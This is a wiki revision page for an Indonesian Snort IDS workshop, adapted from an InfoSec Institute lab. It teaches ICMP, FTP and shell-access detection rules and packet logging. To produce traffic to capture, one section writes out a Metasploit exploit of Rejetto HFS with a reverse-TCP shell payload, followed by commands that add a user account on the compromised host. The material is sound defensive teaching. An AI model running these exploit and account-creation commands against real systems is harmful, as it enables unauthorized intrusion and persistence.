Difference between revisions of "SNORT-RULES: Contoh Materi Workshop"

From OnnoWiki
Jump to navigation Jump to search
 
(12 intermediate revisions by the same user not shown)
Line 6: Line 6:
 
* Buat mesin Ubuntu server
 
* Buat mesin Ubuntu server
 
* Install SNORT
 
* Install SNORT
−
* Cek vesri snort
+
* Cek versi snort
  
 
  snort -V
 
  snort -V
Line 31: Line 31:
 
==Membuat local.rules Sederhana==
 
==Membuat local.rules Sederhana==
  
 +
===Deteksi ping===
  
 
test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,
 
test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,
Line 58: Line 59:
 
* classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.
 
* classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.
  
−
Click Save and close the file. Now let’s run the Snort configuration test command again:
+
Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3
  
−
  sudo snort -T -i eth0 -c /etc/snort/snort.conf
+
  sudo snort -T -i enp0s3 -c /etc/snort/snort.conf
  
−
If you scroll up, you should see that one rule has been loaded.
+
Jalan kan snort dengan mode IDS, tampilkan alert di console:
  
−
Now, let’s start Snort in IDS mode and tell it to display alerts to the console:
+
sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
  
−
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
+
dimana
  
−
Again, we are pointing Snort to the configuration file it should use (-c) and specifying the interface (-i eth0). The -A console option prints alerts to standard output, and -q is for “quiet” mode (not showing banner and status report). You shouldn’t see any output when you enter the command because Snort hasn’t detected any activity specified in the rule we wrote. Let’s generate some activity and see if our rule is working.
+
-c - memberitahukan file konfigurasi yang digunakan
 +
-i eth0 - memberitahukan interface yang digunakan
 +
-A console - memberitahukan agar alert di tulis di standard output
 +
-q - mode "quiet", tidak print banner dll.
  
−
Launch your Kali Linux VM. You may need to enter startx after entering credentials to get to the GUI. Once there, open a terminal shell by clicking the icon on the top menu bar.
+
Untuk melihat server tempat snort dijalakan, misalnya
−
 
 
−
Now start pinging your Ubuntu Server with the following command (use your Ubuntu Server IP instead of .x.x):
 
  
 
  ping 192.168.x.x
 
  ping 192.168.x.x
  
−
Let it run for a couple of seconds and hit Ctrl+C to stop and return to prompt.
+
Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.
  
−
Now return to your Ubuntu Server running Snort IDS. You should see alerts generated for every ICMP Echo request and Echo reply message, with the message text we specified in the msg option:
+
===Deteksi ftp===
  
−
We can also see the source IP address of the host responsible for the alert-generating activity. In the example above, it is 192.168.132.133; yours may be different (but it will be the IP of your Kali Linux VM). Our test rule is working! Hit Ctrl+C to stop Snort and return to prompt.
+
Untuk belajar lebih lanjut, buat rule tambahan, edit
  
−
Now let’s write another rule, this time, a bit more specific. Open our local.rules file in a text editor:
+
sudo vi /etc/snort/rules/local.rules
  
−
sudo gedit /etc/snort/rules/local.rules
+
Masukan misalnya,
  
−
First, let’s comment out our first rule. Put a pound sign (#) in front of it. On a new line, write the following rule (using your Kali Linux IP for x.x):
+
alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)
  
−
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)
+
Ini untuk mendeteksi traffic FTP. Jalankan snort
  
−
Here we changed the protocol to TCP, used a specific source IP, set the destination port number to 21 (default port for FTP connections), and changed the alert message text. Save and close the file. Now let’s run Snort in IDS mode again, but this time, we are going to add one more option, as follows:
+
sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii
  
−
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
+
Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah
−
 
 
−
We are telling Snort to log generated alerts in the ASCII format rather than the default pcap. Once Snort is running (again, you won’t see any output right away), go to your Kali Linux VM and enter the following command in a terminal shell (using your Ubuntu Server IP address):
 
  
 +
apt install ftp
 
  ftp 192.168.x.x
 
  ftp 192.168.x.x
  
−
Go back to Ubuntu Server. You should see that an alert has been generated.
+
Maka akan tampak alert.
  
−
To make sure that the rule is not generating any false positives, you can open another terminal shell on Ubuntu Server VM and try connecting to the same FTP server. You shouldn’t see any new alerts. Hit Ctrl+C to stop Snort.
+
Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya,
−
 
 
−
Now run the following command to do the listing of the Snort log directory:
 
  
 
  ls /var/log/snort
 
  ls /var/log/snort
−
 
−
You should see something similar to the following image:
 
−
 
−
The snort.log.* file (you may have more than one if you generated more than one alert-generating activity earlier) is the .pcap log file. It cannot be read with a text editor. The IP address that you see (yours will be different from the image) is the source IP for the alert we just saw for our FTP rule. It is a directory. Let’s see what’s inside:
 
−
 
 
  sudo ls /var/log/snort/192.168.x.x
 
  sudo ls /var/log/snort/192.168.x.x
−
 
−
You can see there’s a file there named after the protocol (TCP) and the port numbers involved in the activity. We can read this file with a text editor or just use the cat command:
 
−
 
 
  sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
 
  sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
  
−
We get the same information as we saw in the console output with some additional details. How about the .pcap files? We can use Wireshark, a popular network protocol analyzer, to examine those. Enter sudo wireshark to start the program. Click OK to acknowledge the error/warning messages that pop up. Once at the Wireshark main window, go to File->Open.
+
===Detect kegagalan ftp===
  
−
Browse to the /var/log/snort directory, select the snort.log.* file and click Open.
+
Deteksi kegagalan ftp.
 +
Edit
  
−
A lot more information here! Click to expand any of the items in the middle pane. Now we can look at the contents of each packet.
+
sudo vi /etc/snort/rules/local.rules
  
−
Close Wireshark. We will use it a lot throughout the labs.
+
Tambahkan
  
−
For our next rule, let’s write one that looks for some content, in addition to protocols, IPs, and port numbers. First, we need to generate some activity that will provide us with the content needed for a rule. Launch your Windows Server 2012 R2 VM and log in with credentials provided at the beginning of this guide. This VM has an FTP server running on it. First, find out the IP address of your Windows Server 2102 R2 VM. You can do this by opening the command prompt from the desktop shortcut and entering ipconfig.
+
alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)
  
−
Note the “IPv4 Address” value (yours may be different from the image). Now go back to your Ubuntu Server VM and enter ftp 192.168.x.x (using the IP address you just looked up). When prompted for Name and Password, just hit Enter. Examine the output.
+
Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,
  
−
As we can see, entering invalid credentials results in a message that says “Login or password incorrect.” Now we have enough information to write our rule. Enter quit to exit FTP and return to prompt. Open our local.rules file again:
+
sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
  
−
sudo gedit /etc/snort/rules/local.rules
+
==Snort sebagai Packet Logger==
  
−
(Since we will be working with this file a lot, you may leave it open and start up a new terminal shell to enter commands.) Add the following rule on the new line:
+
Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah
  
−
  alert tcp $HOME_NET 21 -> any any (msg:”FTP failed login”; content:”Login or password incorrect”; sid:1000003; rev:1;)
+
  sudo snort -dev -q -l /var/log/snort -i eth0
  
−
Notice that now we set the HOME_NET value as our source IP, because we will be looking for the outgoing FTP server responses. Save the file. Now let’s test the rule. Start Snort in IDS mode:
+
Masuk kali linux untuk menyerang, jalankan,
−
 
 
−
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
 
−
 
 
−
No go to your Kali Linux VM and try connecting to the FTP server on Windows Server 2012 R2 (ftp 192.168.x.x), entering any values for Name and Password. Enter quit to return to prompt. Go back to the Ubuntu Server VM. You should see several alerts generated by both active rules that we have loaded into Snort. Hit CTRL+C to stop Snort.
 
−
 
 
−
Exercise 2: Snort as a Packet Logger
 
−
 
 
−
With the rapidly changing attack landscape and vectors out there today, we might not even know what we should be looking for until we’ve seen the attack. Then perhaps, after examining that traffic, we could create a rule for that specific “new” attack. This is exactly how the default publicly available Snort rules are created. We’ll now run Snort in logging mode and see what we’re able to identify the traffic based on the attacks that we do.
 
−
 
 
−
In this exercise will simulate an attack on our Windows Server while running Snort in packet logging mode. Then we will examine the logged packets to see if we can identify an attack signature.
 
−
 
 
−
Make sure that all 3 VMs (Ubuntu Server, Windows Server, and Kali Linux) are running. On your Kali Linux VM, enter the following into a terminal shell:
 
  
 
  msfconsole
 
  msfconsole
  
−
This will launch Metasploit Framework, a popular penetration testing platform. It will take a few seconds to load. Ignore the database connection error. Wait until you see the msf> prompt. Once there, enter the following series of commands:
+
Lakukan exploit misalnya,
  
 
  use exploit/windows/http/rejetto_hfs_exec
 
  use exploit/windows/http/rejetto_hfs_exec
 
  set PAYLOAD windows/shell/reverse_tcp
 
  set PAYLOAD windows/shell/reverse_tcp
−
  set LHOST 192.168.x.x (Kali Linux VM IP address)
+
  set LHOST 192.168.x.x (Kali Linux IP address)
−
  set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP address)
+
  set RHOST 192.168.x.x (Server WIndows IP address)
 
  set RPORT 8081
 
  set RPORT 8081
  
−
Here we configured an exploit against a vulnerable version of Rejetto HFS HTTP File server that is running on our Windows Server 2012 R2 VM. Before running the exploit, we need to start Snort in packet logging mode. Go to your Ubuntu Server VM and enter the following command in a terminal shell:
+
Jika berhasil maka kita akan memperoleh shell, ketik
−
 
 
−
sudo snort -dev -q -l /var/log/snort -i eth0
 
−
 
 
−
You won’t see any output. Now go back to the msf exploit you have configured on the Kali Linux VM and enter exploit. If the exploit was successful, you should end up with a command shell:
 
−
 
 
−
Now that we have access to the system, let’s do the following:
 
−
 
 
−
Create a new user account:
 
  
 
  net user accountname P@ssword12 /ADD
 
  net user accountname P@ssword12 /ADD
−
 
−
Change directories to c:
 
−
 
 
  cd \
 
  cd \
−
 
−
Make a new directory that’s your name.
 
−
 
 
  mkdir yourname
 
  mkdir yourname
  
−
Now press Ctrl+C and answer y for “yes” to close your command shell access.
+
Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.
−
 
 
−
Next, go to your Ubuntu Server VM and press Ctrl+C to stop Snort. Enter sudo wireshark into your terminal shell. In Wireshark, go to File->Open and browse to /var/log/snort. At this point we will have several snort.log.* files there. Select the one that was modified most recently and click Open.
 
−
 
 
−
You should see quite a few packets captured.
 
−
 
 
−
We need to find the ones related to our simulated attack. In Wireshark, select Edit->Find Packet. On the resulting dialog select the String radio button. Next, select Packet Bytes for the Search In criteria. Then for the search string, enter the username you created.
 
  
−
Once you’ve got the search dialog configured, click the Find button. The search should find the packet that contains the string you searched for. Go ahead and select that packet. It will be the dark orange colored one. Right-click it and select Follow TCP Stream.
+
Kemudian,
  
−
This action should show you all the commands that were entered in that TCP session. This will include the creation of the account, as well as the other actions.
+
* cek /var/log/snort
 +
* buka menggunakan wireshark, select Edit > Find Packet
 +
* select Packet Bytes for the Search In criteria.
 +
* search string, enter the username yang anda buat.
 +
* jika di peroleh packet-nya, lakukan select Follow TCP Stream.
  
−
After you’ve verified your results, go ahead and close the stream window. This should take you back to the packet you selected in the beginning. Now hit your up arrow until you see the ASCII part of your hex dump show “C:\Users\Administrator\Desktop\hfs2.3b>” in the bottom pane. See below.
+
==Membuat custom rule dari catatan traffic==
  
−
Note the selected portion in the graphic above. We will use this content to create an alert that will let us know when a command shell is being sent out to another host as a result of the Rejetto HFS exploit. Minimize the Wireshark window (don’t close it just yet).
+
Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut
−
Exercise 3: Building a custom rule from logged traffic
 
−
 
 
−
We want to see an alert show up anytime Snort sees “C:\Users\Administrator\Desktop\hfs2.3b>.” Go to our local.rules file (if you closed it, open it again as root using the same command as we did earlier), and add the following rule on a new line (note that we are escaping all the backslashes to make sure they are included in the content):
 
  
 
  alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)
 
  alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)
  
−
Save the file. Run Snort in IDS mode again:
+
Jalankan snort sebagai IDS
  
 
  sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
 
  sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
  
−
Now go back to your Kali Linux VM. You should still be at the prompt for the rejetto exploit. Just enter exploit to run it again. Wait until you get command shell access and return to the Snort terminal on Ubuntu Server. You should see that alerts have been generated based on our new rule:
+
Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.
−
 
 
−
Hit Ctrl+C on Kali Linux terminal and enter y to exit out of the command shell. Then hit Ctrl+C on the Ubuntu Server terminal to stop Snort.
 
−
 
 
−
In this case, we have some human-readable content to use in our rule. But that’s not always the case. Let’s modify our rule so it looks for content that is represented in hex format. First, in our local.rules file, copy our latest rule and paste it below in the new line. Now comment out the old rule and change the “rev” value for the new rule to “2.” See below.
 
−
 
 
−
Bring up the Wireshark window with our capture again, with the same payload portion selected. Unfortunately, you cannot copy hex values directly from the Wireshark’s main window, but there is an easy solution that will work for us. With the needed content selected, right-click either the corresponding (highlighted) packet in the top pane or the highlighted “Data:” entry in the middle pane and select Copy -> Bytes -> Offset Hex. See below.
 
−
 
 
−
Now, in our local.rules file, select the content argument (everything in between the quotation marks) in our new rule, right-click and click Paste. Now carefully remove all extra spaces, line breaks, etc., leaving only the needed hex values. Then put the pipe symbols (|) on both sides. Your finished rule should look like the image below.
 
−
 
 
−
Save the file. Start Snort in IDS mode. Next, go to your Kali Linux VM and run the exploit again. Wait until you get the command shell and look at Snort output. You should see alerts generated.
 
−
 
 
−
This time we see two alerts instead of four because we included the hex representation of the “>” symbol in the content, making the rule more specific.
 
−
 
 
−
Press Ctrl+C to stop Snort. Then, on the Kali Linux VM, press Ctrl+C and enter y to exit out of the command shell and then type in exit to return to the regular prompt.
 
  
−
This is just some of the basics of the Snort rule writing. Later we will look at some more advanced techniques.
+
Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,
  
−
End of Lab
+
* select packet
 +
* di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
 +
* paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.
  
 
==Referensi==
 
==Referensi==
  
 
* http://resources.infosecinstitute.com/snort-rules-workshop-part-one/
 
* http://resources.infosecinstitute.com/snort-rules-workshop-part-one/

Latest revision as of 03:27, 6 December 2018

Sumber: http://resources.infosecinstitute.com/snort-rules-workshop-part-one/


Install SNORT

  • Buat mesin Ubuntu server
  • Install SNORT
  • Cek versi snort
snort -V

Edit Konfigurasi

  • Tambahkan nilai HOME_NET
vi /etc/snort/snort.conf
  • Tambahkan nilai HOME_NET sesuai dengan jaringan yang akan di monitor, biasanya di akhiri dengan .0/24


Verifikasi SNORT

Jalankan 

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Akan keluar misalnya, 

0 Snort rules read

Membuat local.rules Sederhana

Deteksi ping

test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut, 

sudo nano /etc/snort/rules/local.rules

File tersebut kemungkinan besar kosong. Tambahkan kalimat berikut (sebagai satu line, tanpa enter), 

alert icmp any any -> $HOME_NET any (msg:”ICMP test”; sid:1000001; rev:1; classtype:icmp-event;)

Mari kita lihat syntax dari rules tersebut,

Rule Header

  • alert – Rule action. Snort will generate an alert when the set condition is met.
  • any – Source IP. Snort will look at all sources.
  • any – Source port. Snort will look at all ports.
  • -> – Direction. From source to destination.
  • $HOME_NET – Destination IP. We are using the HOME_NET value from the snort.conf file.
  • any – Destination port. Snort will look at all ports on the protected network.

Rule Options

  • msg:”ICMP test” – Snort will include this message with the alert.
  • sid:1000001 – Snort rule ID. Remember all numbers < 1,000,000 are reserved, this is why we are starting with 1000001 (you may use any number, as long as it’s greater than 1,000,000).
  • rev:1 – Revision number. This option allows for easier rule maintenance.
  • classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.

Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3 

sudo snort -T -i enp0s3 -c /etc/snort/snort.conf

Jalan kan snort dengan mode IDS, tampilkan alert di console: 

sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3

dimana 

-c - memberitahukan file konfigurasi yang digunakan
-i eth0 - memberitahukan interface yang digunakan
-A console - memberitahukan agar alert di tulis di standard output
-q - mode "quiet", tidak print banner dll.

Untuk melihat server tempat snort dijalakan, misalnya 

ping 192.168.x.x

Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.

Deteksi ftp

Untuk belajar lebih lanjut, buat rule tambahan, edit 

sudo vi /etc/snort/rules/local.rules

Masukan misalnya, 

alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)

Ini untuk mendeteksi traffic FTP. Jalankan snort 

sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii

Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah 

apt install ftp
ftp 192.168.x.x

Maka akan tampak alert.

Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya, 

ls /var/log/snort
sudo ls /var/log/snort/192.168.x.x
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

Detect kegagalan ftp

Deteksi kegagalan ftp. Edit 

sudo vi /etc/snort/rules/local.rules

Tambahkan 

alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)

Perhatikan $HOME_NET ada di snort.conf. Jalankan snort, 

sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3

Snort sebagai Packet Logger

Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah 

sudo snort -dev -q -l /var/log/snort -i eth0

Masuk kali linux untuk menyerang, jalankan, 

msfconsole

Lakukan exploit misalnya, 

use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (Kali Linux IP address)
set RHOST 192.168.x.x (Server WIndows IP address)
set RPORT 8081

Jika berhasil maka kita akan memperoleh shell, ketik 

net user accountname P@ssword12 /ADD
cd \
mkdir yourname

Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.

Kemudian,

  • cek /var/log/snort
  • buka menggunakan wireshark, select Edit > Find Packet
  • select Packet Bytes for the Search In criteria.
  • search string, enter the username yang anda buat.
  • jika di peroleh packet-nya, lakukan select Follow TCP Stream.

Membuat custom rule dari catatan traffic

Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut 

alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)

Jalankan snort sebagai IDS 

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.

Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,

  • select packet
  • di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
  • paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.

Referensi

Retrieved from "https://onnocenter.or.id/wiki/index.php?title=SNORT-RULES:_Contoh_Materi_Workshop&oldid=52903"